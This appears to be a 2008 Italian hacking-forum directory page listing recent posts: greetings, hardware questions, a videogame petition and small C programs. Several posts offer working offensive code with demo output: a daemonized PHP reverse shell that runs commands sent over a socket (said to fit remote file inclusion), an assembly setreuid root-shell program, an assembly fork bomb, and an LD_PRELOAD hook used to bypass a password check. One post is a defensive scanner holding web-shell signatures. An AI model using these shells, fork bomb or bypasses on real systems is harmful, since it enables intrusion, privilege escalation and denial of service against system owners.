posizionamento nei motori di ricerca
Ricerca personalizzata
Ottimo Portale italiano sull'hacking, tecnologia e derivati: Hardware, Software, Modding, Overclocking, Cracking, Programmazione, Hacker tools.

  Systemfailure.it
www.systemfailure.it | Details | hits : 3 |

  • RSS Feeds : systemfailure.it : systemfailure.it

  • new entry - 05-09-2008
    Ciao a tutti mi chiamo Simone ho 19 anni e vengo da bassano del grappa...che altro dire...spero di farmi nuovi amici e di divertirmi qui dentro...CIAO A TUTTI!!!

  • Ciao!!! - 26-08-2008
    Ciao a tutti!!!!Mi sono appena iscritto e devo dire che questo sito mi ha particolarmente colpito.Spero di trovarmi bene.
    Ancora un saluto a tutti!!!!!
    13 13

  • Errore testina di stampa - 24-08-2008
    Salve,
    oggi ho avuto una brutta sorpresa dalla mia stampante Canon: un bel messaggio ?errore testina! spegnere!!?
    Allora spengo ma riaccendendo non mi fa neanche entrare nel menu e quindi non posso neanche eventualmente cambiare la testina: in pratica si può solo chiamare l?assistenza.
    Ho letto fra l?altro che se anche fosse possibile cambiare la testina, il problema potrebbe persistere facendo bruciare subito la testina nuova appena installata.
    Il plotter Canon W6200 è già fuori garanzia da tempo e sono anni che utilizzo esclusivamente cartucce compatibili, alcune delle quali ricaricate direttamente da me: so già quindi che l?assistenza mi farebbe spendere una fortuna anche solo per questo fatto rendendo di fatto l?operazione non più conveniente, visto anche l?ormai basso valore del plotter.
    Se può aiutare a capire meglio la situazione, riassumo cosa viene scritto sul display quando lo accendo: compare subito la scritta Initializing e dopo una quindicina di secondi viene scritto CANON W6200PG, poi come di seguito: S:Ver.02.02.02 > E:Ver. 02.01 > CANON W6200PG Attendere > Prepar. Stampa > Errore testina! Spegnere!!
    Ho provato a spegnere e riaccendere più volte ma niente; ho provato ad estrarre le cartucce, la carta.. ma niente, non so più cos?altro fare per sbloccare il plotter.
    Qualcuno sa come posso risolvere da solo e senza far intervenire l?assistenza?
    Grazie a tutti per gli eventuali aiuti.

  • [PETIZIONE] NO AL PROIBIZIONISMO NEI VIDEOGIOCHI - 22-08-2008
    Ragazzi, per il nostro e vostro bene contribuite!

    multiplayer.it Ha scritto:
    [Immagine: header.jpg]
    [Immagine: claim.png]
    Il Disegno di Legge n. 3014 in materia di tutela dei minori nella visione di film e videogiochi, attualmente all?esame del Commissione Cultura della Camera, propone di creare un Comitato nazionale con il compito di ?controfirmare? la classificazione del videogioco attribuita a livello europeo dal sistema PEGI.

    L?Italia potrebbe diventare l?unico paese in Europa, dove viene imposto un macchinoso sistema di doppia valutazione dei giochi.

    Se passerà il Disegno di Legge così ci saranno due conseguenze:

    1. discriminazione dei videogiocatori italiani da quelli europei, allungando inutilmente i tempi nei quali gli italiani potranno giocare con i videogiochi, non soltanto quelli ?controversi?, visto che la procedura di deposito e di eventuale riclassificazione nazionale è prevista per tutti i titoli senza distinzioni;

    2. potrebbe comunque mettere a repentaglio la stessa tutela dei minori, perché la procedura alimenterebbe la pirateria, specie su Internet, e spingerebbe lo sviluppo delle importazione parallele ? perfettamente legali ? da altri paesi europei dove non vige il sistema del doppio controllo.
    [Immagine: tit.png]
    L?unico modo per affrontare efficacemente il problema è fare in modo che, da un lato, il sistema Gli utenti non registrati o che non hanno effettuato l'accesso non sono autorizzati a vedere links. Se non sei registrato al forum e desideri farlo clicca qui. venga rispettato sia dai consumatori sia dai rivenditori e, dall?altro, che i genitori esercitino il loro compito di vigilanza al momento dell?acquisto e dell?uso dei videogiochi da parte dei propri figli...

    Gli utenti non registrati o che non hanno effettuato l'accesso non sono autorizzati a vedere links. Se non sei registrato al forum e desideri farlo clicca qui.

    Voi che ne pensate? dite la vostra...

  • Crysis - 22-08-2008
    Ciao a tutti ho pensato di aprire questo post per tutti quelli come me che adorano il gioco Crysis prodotto dalla ubisoft.Magari si potrebbe raccogliere tutte le guide,articoli,patch ecc del gioco che troviamo in giro per il web?!

  • samsung - 21-08-2008
    samsung SGH E780 come tolgo i numeri dall elenco delle chiamate rifiutate

  • Quale scheda madre? - 20-08-2008
    Salve a tutti volevo un consiglio su quale scheda madre acquistare per il mio nuovo pc tra queste due:
    1 Asus Striker II Extreme
    2 P5E3 Premium/WiFi-AP @n

    Il pc lo uso per fare di tutto...dal giocare al programmare,navigare in internet,ascoltare musica ecc.

    Attendo suggerimenti...

    STeXE: Non fare UP! Messaggi Uniti

  • problema sezione perl - 20-08-2008
    quando cerco di postare nella sezione perl mi da
    Codice:
    Forbidden

    You don't have permission to access /forum/newthread.php on this server
    avete qualche idea?

  • Router half duplex - 19-08-2008
    Salve a tutti...spero possiate aiutarmi o perlomeno chiarirmi le idee.
    Possiedo un router netgear dg834gt e volevo collegarlo al pc fisso per mezzo di una connesione con due cavi ethernet in half duplex in modo da avere un cavo per la ricezioni dati dal router e uno per inviarli.Ora è collegato solo tramite un cavo cioè in full duplex.é possibile collegarlo come descritto?
    Grazie anticipatamente13

  • calcolatrice creata con i puntatori a funzione - 19-08-2008
    tanto per complicarsi la vita
    semplice calcolatrice che usa i puntatori a funzioni tanto per capire come funzionano ;) per dubbi altri esempi chiarimenti miei errori insulti ecc... sono a vostra disposizione ;)

    Codice:
    #include <stdio.h>
    #include <stdlib.h>

    int piu(int a, int b)
    {
        return a+b;
    }

    int meno(int a, int b)
    {
        return a-b;
    }

    int per(int a, int b)
    {
        return a*b;
    }

    int divi(int a, int b)
    {
        if (!b)
        {
            printf("divisione per 0 programma bloccato\n");
            //se siamo su windows
            #ifdef _WIN32_
                exit(0);
            #else
            //se no faccio un exit con l'inline asm tanto per fare lo sborone e mantenermi in allenamento
                    //spostiamo 1 (exit) in eax
                asm(    "movl    $1,%eax\n"
                    //xorl con 2 valori uguali == 0 quindi exit(0);
                    "xorl    %ebx,%ebx\n"
                    //chiamo il kernel
                    "int    $0x80\n"
                    );
            #endif
        }
        //lo so i numeri dovrebbero essere float ma il corretto funzionamento della calcolatrice è
        //l'ultima cosa che mi interessa xD
        return a/b;
    }

    int main()
    {
        //creiamo function che è un array di puntatori a funzioni che prendono 2 int e restituiscono un int
        int (*function[4]) (int, int) = {piu, meno, per, divi};
        int a,b,c;
        printf(    "Dr. nefasto calc\n"
            "1 = +   2 = -   3 = *    4 = /\n");
        if (scanf("%d", &c) != 1) return 0;
        c--; //per ottenere il valore dentro l'array l'array parte da zero ricordatevelo ;)

        printf("inserire i 2 valori\n");
        if (scanf("%d", &a) != 1) return 0;
        if (scanf("%d", &b) != 1) return 0;
        printf ("%d\n", (*function[c] ) (a , b) );
        
        return 1;
    }

  • php simple remote shell - 19-08-2008
    una remote shell in php abbastanza semplice
    Codice:
    #!/usr/bin/php
    <?php
    $p = pcntl_fork();
    if($p<0)
            exit;
    elseif($p)
            exit;
    else{
            if (!($s = @fsockopen("127.0.0.1", 12345))) exit;
            fputs($s, "master i am here to serve you\n"); //kevin's film style xD
            while ($s){
                    $cmd = fgets($s, 1024) or exit;
                    exec($cmd, $out);
                    foreach($out as $o)
                            fputs($s, $o."\n") or exit;
                    $out ='';
            }
    }

    ?>
    con qualche piccola modifica si puo usare anche in caso di rfi


    ess
    shell 1
    Codice:
    [nefasto@darkstar ~/pro/php]> ./re.php
    [nefasto@darkstar ~/pro/php]>
    la chiamata a fork con succesivo exit permette di creare un demone ;)

    shell 2
    Codice:
    [nefasto@darkstar ~/pro/php]> nc -l -p 12345
    master i am here to serve you
    whoami
    nefasto

  • asm creare shell di root with setreuid - 19-08-2008
    un semplice programmino in asm che ho fatto solo per capire il funzionamento di setreuid
    vedere il main o google per delucidazioni ;)
    ovviamente unziona se il suid è attivo ;)
    Codice:
    .data
            str:    .string "/bin/bash"
    .text
            .global _start

    _start:
            #setreuid (0,0)
            movb    $70,%al
            int     $0x80

            #execve (str, 0, 0)
            movb    $11,%al
            movl    $str,%ebx
            int     $0x80
    ess
    Codice:
    [nefasto@darkstar ~/pro/asm]> ls -ls shell
    4 -rwsr-sr-x 1 root users 588 2008-07-24 11:32 shell
    [nefasto@darkstar ~/pro/asm]> whoami
    nefasto
    [nefasto@darkstar ~/pro/asm]> ./shell
    bash-3.1# whoami
    root
    bash-3.1# ;)

  • asm fork bomb - 19-08-2008
    cosa un po stupida fa un loop infinito in cui esegue un fork (è lo stesso che c'è su wikipedia perche lo postato io la :P)

    Codice:
    .text
            .global _start
    _start:
                 //while (1) fork();
              #mettiamo 2 nel registro eax 2 indiac la chiamata di sistema fork
               movb    $0x2,%al
              #chiamiamo il kernel
               int        $0x80
              #saltiamo di nuovo a _start
               loop      _start

  • algoritmo euclideo esteso - 19-08-2008
    sto studiando il funzionamento del rsa e mi sono ritrovato con l'algoritmo euclideo esteso molto veloce per trovare l'mcd fra 2 numeri e anche molto semplice da fare
    per dubbi chiedete pure critiche ben volute xD

    funzioamento dell'algoritmo
    prendete 2 numeri (a e b a >= b) e trovatene il resto r
    poi a diventa b e b diventa il resto e rifate il primo passagio fino a quando r == 0 in quel caso b (il resto di prima) è il mcd xD
    Codice:
    #include <stdio.h>

    #define VERBOSE 1
    #define ABS(x)         if (x < 0)   x = -x ;


    inline swap(int *x, int *y)
    {
        int tmp;
        tmp = *x;
        *x = *y;
        *y = tmp;
    }

    int main()
    {
        int a,b,r;

        printf("inserisci primo elemento :");
        if (scanf("%d", &a) != 1) goto exit;
        printf("inserisci secondo elemento :");
        if (scanf("%d", &b) != 1) goto exit;

        if (a == 0 || b == 0)
        {
            fprintf(stderr, "errore : uno dei 2 dati è uno zero\n");
            goto exit;
        }
        

        ABS(a)
        ABS(b)
        if (a < b)    swap(&a, &b);

        #if VERBOSE
        printf("\n\n%-2s %-10s %-15s\n", "Quoziente", "Divisore", "Resto");
        #endif
        for (r = a % b; r > 0; r = a % b)
        {
            #if VERBOSE
            printf("%d\t %d\t\t %d\n", a, b, r);        
            #endif
            a = b;
            b = r;
        }
        #if VERBOSE
        printf("%d\t %d\t\t %d\n", a, b, r);
        #endif

        if (b == 1)
            printf("\n\n[+] MCD %d primi fra loro\n", b);
        else
            printf("\n\n[+] MCD %d\n", b);
    exit:
        return 0;
    }

    ess..
    Codice:
    [nefasto@darkstar ~/pro/c]> ./mcd
    inserisci primo elemento :1908
    inserisci secondo elemento :978


    Quoziente Divisore   Resto          
    1908     978             930
    978      930             48
    930      48              18
    48       18              12
    18       12              6
    12       6               0


    [+] MCD 6

  • view bin - 19-08-2008
    programmino che ti mostra un numero nel formato binario
    Codice:
    #include <stdio.h>

    int main()
    {
        int a, r=31;
        printf("inserisci numero :");
        if (scanf("%d", &a) != 1) return 0;
        while(r>-1)
        {
            if (a >> r & 0x1)     printf("1");
            else         printf("0");
            if (r % 8 == 0) printf(" ");
                    r--;
        }
        puts("");
        return 0;
    }
    ess
    Codice:
    [nefasto@darkstar ~/pro/c/ess]> ./bin
    inserisci numero :5
    00000000 00000000 00000000 00000101

  • php shell scanner - 19-08-2008
    uno scriptino recursivo che trova alcune shell cercando in un array quelle conosciute e cercando specifiche parole attraverso un metodo euristico
    parametri (nessuno è obligatorio se non li mettete controlal la dir corrente ance con il metodo euristico con sensibilita 40)
    -e Y/N attiva disabilita metodo euristico
    -p precisione un numero tra 1 e 100 indica in percentuale quante parole devono essere trovate per far considerare il file una shell dal metodo euristico
    -f file controlla un file
    -d controlla una specifica dir

    Codice:
    #!/usr/bin/php
    <?php
    /*
    *    this script find some shell like
    *    c99, c100, r57, erne, Safe_Over
    *    and try to find some of unknow shell searching specific words this can be
    *    not safe
    *        powered by Dr. nefasto
    */

    $euristic__ = array("fopen", "file(", "file_get_contents", "sql", "opendir", "perms", "port", "eval", "system", "exec", "rename", "copy", "delete", "hack", "(\$_", "phpinfo", "uname", "glob", "is_writable", "is_readable", "get_magic_quotes_gpc()", "move_uploaded_file", "\$dir", "& 00", "get");


    $word__ = array(
                "c99" => array("c999shexit();", "setcookie(\"c999sh_surl\");", "c999_buff_prepare();"),
                "c100" => array("\$back_connect_c=\"f0VMRgEBAQA", "function myshellexec(\$command) {", "tEY87ExcilDfgAMhwqM74s6o"),
                "r57" => array("if(strpos(ex(\"echo abcr57\"),\"r57\")!=3)", "function ex(\$cfe)", "\$port_bind_bd_c=\"I2luY2x1ZGUg"),
                "erne"=> array("function unix2DosTime(\$unixtime = 0)", "eh(\$errno, \$er", "\$mtime=@date(\"Y-m-d H:i:s\",@filemti"),
                "Safe_Over" => array("function walkArray(\$array){", "function printpagelink(\$a, \$b, \$link = \"\")", "if (\$cmd != \"downl\")"),
                "cmd_asp" => array("   ' -- Read th", "ll oFileSys.D", "Author: Maceo")
            );

    //the script work

    $euristic_active = true;
    $euristic_sens = 40;


    for ($i = 1; $i < $argc; $i++)
    {
        if ($argv[$i] == "-h")
            help($argv[0]);
        elseif($argv[$i] == "-e")
        {
            if ($argv[$i+1] == "Y") $euristic_active = true;
            if ($argv[$i+1] == "N") $euristic_active = false;
        }
        elseif($argv[$i] == "-p")
            $euristic_sens = $argv[$i+1];
        elseif($argv[$i] == "-d")
        {
            dir_scan($argv[$i+1]);    
            exit;
        }
        elseif($argv[$i] == "-f")
        {
            a($argv[$i+1]);    
            exit;
        }
    }
    dir_scan(".");


    function dir_scan($name)
    {
        if (!is_dir($name))
            echo "$name is not a dir\n";
        if ($o = @opendir($name))
        {
            while(false !== ($file = readdir($o)))
            {
                if ($file == '.' or $file == '..' or $file == basename(__file__)){    continue;}
                else if (is_dir($name."/".$file)){dir_scan($name."/".$file);}
                else
                    a($name."/".$file);
            }
            closedir($o);
        }
        else
            echo "i can't open $name dir\n";
    }


    function a($file)
    {
        global $euristic_active;
        global $euristic_sens;
        if ($l = file_get_contents($file))
        {
            if ( $shell = check($l))
            {
                echo "[DANGER] word_list > ".$file."\tprobably ".$shell." shell\n";
            }
            else if ($euristic_active)
                if ($t = check_euristic($l)   and $t > $euristic_sens)
                {    
                    echo "[_ALERT] euristic $t%> ".$file."\tprobably is a shell\n";
                }
        }
        else
        {
            echo "i can't open $file file\n";
        }
    }

    function check($string)
    {
        $check = 0;
        global $word__;
        foreach($word__ as $shell => $code)
            foreach($code as $microcode)
                if (stripos($string, $microcode) !== false)
                {
                    $check ++;
                    if ($check == 3) return $shell;
                }
        return false;
    }
    function check_euristic($string)
    {
        global $euristic__;
        $check = 0;
        foreach($euristic__ as $code)
            if (stripos($string, $code) !== false)
                $check++;
        return intval(($check * 100) / count($euristic__));
    }

    function help($me)
    {
        echo     "Dr. nefasto shell scanner\n".
            "$me {-e [euristic method default = Y] Y/N   -p [[0-100] euristic sensibility fewer == most feeble ]   [-d [directory] / -f [file] ]}\n".
            "exemple: $me -e N -d /tmp\n"
            ;
        exit;
    }

    ?>

    esempi
    Codice:
    [nefasto@darkstar ~/pro/shell]> ./scanner -e Y -p 60 -f staker.txt
    [_ALERT] euristic 68%> staker.txt       probably is a shell


    [nefasto@darkstar ~/pro/shell]> ./scanner
    [_ALERT] euristic 80%> ./crystal.txt    probably is a shell
    [_ALERT] euristic 68%> ./staker.txt     probably is a shell
    [DANGER] word_list > ./r57.txt  probably r57 shell
    [DANGER] word_list > ./erne.txt probably erne shell
    [DANGER] word_list > ./c100.txt probably c100 shell
    [DANGER] word_list > ./c99.txt  probably c99 shell
    [_ALERT] euristic 56%> ./andr.txt       probably is a shell
    [DANGER] word_list > ./safeover.txt     probably Safe_Over shell
    [DANGER] word_list > ./asp/cmd.asp.txt  probably cmd_asp shell
    [_ALERT] euristic 48%> ./black.txt      probably is a shell
    [_ALERT] euristic 52%> ./nefa.txt       probably is a shell

  • reversing engineering with LD_PRELOAD - 19-08-2008
    questa vuole essere una guida abbastanza veloce che spiega il funzionamento di ld_preload
    cosa è ld_preload bhe sui sistemi linux esistono delle librerie che vengono chiamate quando un programma chiama una funzione presente nelle librerie gnu per questo si chiama anche GNU/linux (spero che questa non sia una ca**ata ma io ho capito questo...)

    cmq con LD_PRELOAD possiamo far caricare delle nostre librerie e far cercare le funzioni li dentro prima che in alrte librerie e quindi possiamo intercettare gli argomenti che le vengono passate

    prendiamo queto programmino file: l.c
    Codice:
    #include <stdio.h>
    #include <string.h>

    int main(int argc, char **argv)
    {
        char pass[] = "fdsa#][·98/[asd+#";
        if (argc != 2)
        {
            printf("%s <passwd>\n", argv[0]);
            return 0;
        }
        if (!strcmp(argv[1], pass))
        {
            printf("Good work man\n");
            return 0;
        }
        printf("you have wrong...\n");
        return 0;
    }

    un semplice programmino che controlla la passwd
    Codice:
    [nefasto@darkstar ~/exploit]> ./l
    ./l <passwd>
    [nefasto@darkstar ~/exploit]> ./l password
    you have wrong...

    ma se noi non avessi il sorgente come potremmo saperre come funziona il programma?
    presto detto

    [nefasto@darkstar ~/exploit]> gdb ./l aaa
    ....
    (gdb) break main
    Breakpoint 1 at 0x80483d4
    (gdb) run
    Starting program: /home/nefasto/exploit/l

    Breakpoint 1, 0x080483d4 in main ()
    (gdb) disas
    Dump of assembler code for function main:
    ....
    0x08048425 <main+97>: push %eax
    0x08048426 <main+98>: push %edx
    0x08048427 <main+99>: call 0x8048308 <strcmp@plt>
    ...

    in questo modo abbia usato gnu debugger gdb sul file l abbiamo messo un break point nel main e dopo averlo avviato lo abbiamo disasemblato nel punto in cui si era fermato con disas

    possiamo notare la chiamata a strcmp in rosso gli argomenti che prende sono i 2 registri pushiati precedentemente eax edx

    normalmente le funzioni più utili da intercettare sono strcmp e strlen in quanto la prima è un conronto diretto e la seconda puo venire usata quando si a che fare con programmi che criptano la passwd (specie se si fa l'errore di mettere strlen dentro un for (for ( ...;strlen(s) ;....)))

    da un po di tempo sto cercando di fare una mio lib un po completa con lle funzioni più utili cosi non perdo tempo ogni volta a dover riscrivere codici
    per adesso ci sono solo strcmp e strlen
    Codice:
    #include <stdio.h>

    #define MOD 1

    #define STRING 1
    #if STRING
        #define STRCMP 1
        #define STRLEN 0
    #endif


    #if STRING
    #include <string.h>

        #if STRCMP

        int strcmp(const char* s1, const char* s2)
        {
            int re;
            printf(    "[+]  strcmp ( %s, %s)\n", s1,s2);
            #if MOD
                printf("inserire valore di ritorno (int): ");
                scanf("%d", &re);
            #else
                int c;
                  while (*s1 && *s2) {
                        c = *s1++ - *s2++;
                        if (c != 0) return c;
                      }
                  c = *s1 - *s2;
            #endif
            return re;
        }
        #endif

        #if STRLEN
            #include <sys/types.h>
            size_t strlen(const char* s)
            {
                int re = 0;
                printf(    "[+]  strlen ( %s )\n", s);
                #if MOD
                    printf("inserire valore di ritorno (int): ");
                    scanf("%d", &re);
                #else
                    for(;s[re] != '\0'; re++);
                #endif
                return re;
            }
        #endif

    #endif
    come avrete notato se mod è impostato a 1 potrete modificare voi stessi il valore di ritorno se no lavora normalmente
    le impostazioni sono gia quelle utili per modificare la funzione strcmp
    compiliamo con
    Codice:
    [nefasto@darkstar ~/exploit]> gcc -fPIC -o lib.o -c lib.c
    [nefasto@darkstar ~/exploit]> gcc -shared -o lib.so lib.o
    poi da root diamo il comando LD_PRELAOD
    Codice:
    [root@darkstar /home/nefasto/exploit]> LD_PRELOAD=./lib.so ./l ciao
    [+]  strcmp ( ciao, fdsa#][·98/[asd+#)
    inserire valore di ritorno (int): 0
    Good work man
    come vedete richiede un valore di ritorno la strcmp ritorna 0 se le 2 stringhe sono uguali e come vedete voilaaa crackato ;)

    per dubbi chiarimenti o mie imprecisioni dite pure ;)

  • Salve - 17-08-2008
    Ciao a tutti13
    Annn dimenticavo......questo sito e forum sono stupendi.....specialmente la grafica mi piace un sacco.Questo è il mio sito
    Gli utenti non registrati o che non hanno effettuato l'accesso non sono autorizzati a vedere links. Se non sei registrato al forum e desideri farlo clicca qui. certo non è all'altezza di questo...però a me piace.Datemi anche il vostro parere.

  • ciao a tutti - 26-07-2008
    ciao sono simone di padova,poco esperto e molto appasionato.09

  • Salve - 22-07-2008
    Ciao a tutti, mi chiamo salvo, sono della campania e sono un appassionato di informatica e programmazione.
    Bel forum! 10

entra nel forum